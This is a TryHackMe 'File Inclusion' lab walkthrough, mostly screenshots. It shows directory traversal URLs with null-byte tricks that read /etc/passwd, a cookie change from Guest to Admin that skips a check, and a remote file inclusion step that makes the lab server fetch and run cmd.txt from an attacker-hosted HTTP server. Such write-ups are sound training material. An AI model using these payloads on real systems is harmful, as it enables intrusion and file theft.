> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/file-inclusion.md).

# File Inclusion

**Room Link:** <https://tryhackme.com/room/fileinc>

**Give Lab #1 a try to read /etc/passwd. What would the request URI be?**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxlIxMHFn5FtEoHcvKKet%2Fimage.png?alt=media&amp;token=c8afddc5-d784-463f-983f-91b2a107e1bd" alt=""><figcaption></figcaption></figure>

**In Lab #2, what is the directory specified in the include function?**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3aoQg1evck29sQ2S8jKn%2Fimage.png?alt=media&amp;token=881997d7-1d84-41ca-829c-504d69459867" alt=""><figcaption></figcaption></figure>

**Give Lab #3 a try to read /etc/passwd. What is the request look like?**

Input field didn't work but we were able to bypass by entering our command in the web browser instead.

**URL:** hxxp\://10.10.230.14/lab3.php?file=..//..//../../../etc/passwd%00&#x20;

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FMVHQjYduzXznrpsHl4mz%2Fimage.png?alt=media&amp;token=26db3718-0058-4659-975f-72f165980a91" alt=""><figcaption></figcaption></figure>

**Which function is causing the directory traversal in Lab #4?**

file\_get\_contents

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FfCyegC9GrwnZNobhUbCL%2Fimage.png?alt=media&amp;token=dae37781-47d0-4d5a-8da0-8898a7204d43" alt=""><figcaption></figcaption></figure>

**Try out Lab #6 and check what is the directory that has to be in the input field?**

THM-profile

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FbywnkLRdPs5UT0obmNNw%2Fimage.png?alt=media&amp;token=ed75e196-e179-434e-b36d-e28be6c37027" alt=""><figcaption></figcaption></figure>

**Try out Lab #6 and read /etc/os-release. What is the VERSION\_ID value**

Only worked in browser

hxxp\://10.10.230.14/lab6.php?file=THM-profile//..//..//..//..//etc//os-release%00

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fqis5qFENHLqOgS5CteuO%2Fimage.png?alt=media&amp;token=b039a43a-7fbb-4f20-b3e6-59b062a7525a" alt=""><figcaption></figcaption></figure>

**Capture Flag1 at /etc/flag1**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FML6qsAHlVRyqMNibvjae%2Fimage.png?alt=media&amp;token=f7ee1db3-0d7b-4c7e-8771-01400446e853" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqGUyJwqpQj7gxaBDNyUL%2Fimage.png?alt=media&amp;token=3ab4a7c3-5091-487c-a616-dfb7ce63d483" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQojLSgl9C71zAFUd7YhI%2Fimage.png?alt=media&amp;token=f09cbf43-db01-408b-b6df-4fa5783063ce" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1GJQLiTxRKmcPgypa56H%2Fimage.png?alt=media&amp;token=73701933-253f-41e5-8f0c-ddc11d577e47" alt=""><figcaption></figcaption></figure>

**Capture Flag2 at /etc/flag2**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6y9NuwwDoSAyPqNc3y9f%2Fimage.png?alt=media&amp;token=1912a65d-2c35-4028-8f3c-a365ab1ab5b5" alt=""><figcaption></figcaption></figure>

Change the value from Guest to Admin and we can bypass the error message above.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqtSp01N9GupejQlxPefE%2Fimage.png?alt=media&amp;token=366d422d-0b01-4cb1-8793-1df26717fd05" alt=""><figcaption></figcaption></figure>

Change the value to the flag and we can see it on the page.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Flr9bvgjfwaz2lttGRAOF%2Fimage.png?alt=media&amp;token=b107e27c-045f-44f6-86fc-41c54f177bfb" alt=""><figcaption></figcaption></figure>

What it would look like in burp.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDS4dK8lPMk9UxzK39Ycz%2Fimage.png?alt=media&amp;token=9e33b792-6056-41c0-88e6-8a8a7d46d799" alt=""><figcaption></figcaption></figure>

**Capture Flag3 at /etc/flag3**

Page is getting rid of our slashes

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3Q8jKewmRQmUeQueVJWP%2Fimage.png?alt=media&amp;token=4ba357b6-eed4-4324-8b8a-abf280e29890" alt=""><figcaption></figcaption></figure>

Changing to post and added extra slashed and null character at end.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FfKTMgn9tJJEVK2uZGQo9%2Fimage.png?alt=media&amp;token=40782e57-e768-4bfa-a3b5-cac6f85dc535" alt=""><figcaption></figcaption></figure>

**Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?**

**Kali**

Created the following file to run the hostname command.

![](https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FyHsWKMMc42dycbGaRsOK%2Fimage.png?alt=media\&token=a81cf369-4533-4062-b363-58fab89fb5dd)

**Kali**

Host the file

```
python2 -m SimpleHTTPServer 81
```

**Browser**

```
hxxp://10.10.230.14/playground.php?file=http://10.10.11.193:81/cmd.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fuu5zbGWMNpAuNj4cJahC%2Fimage.png?alt=media&amp;token=6316c6f7-e94b-4727-8296-a0db7f815a86" alt=""><figcaption></figcaption></figure>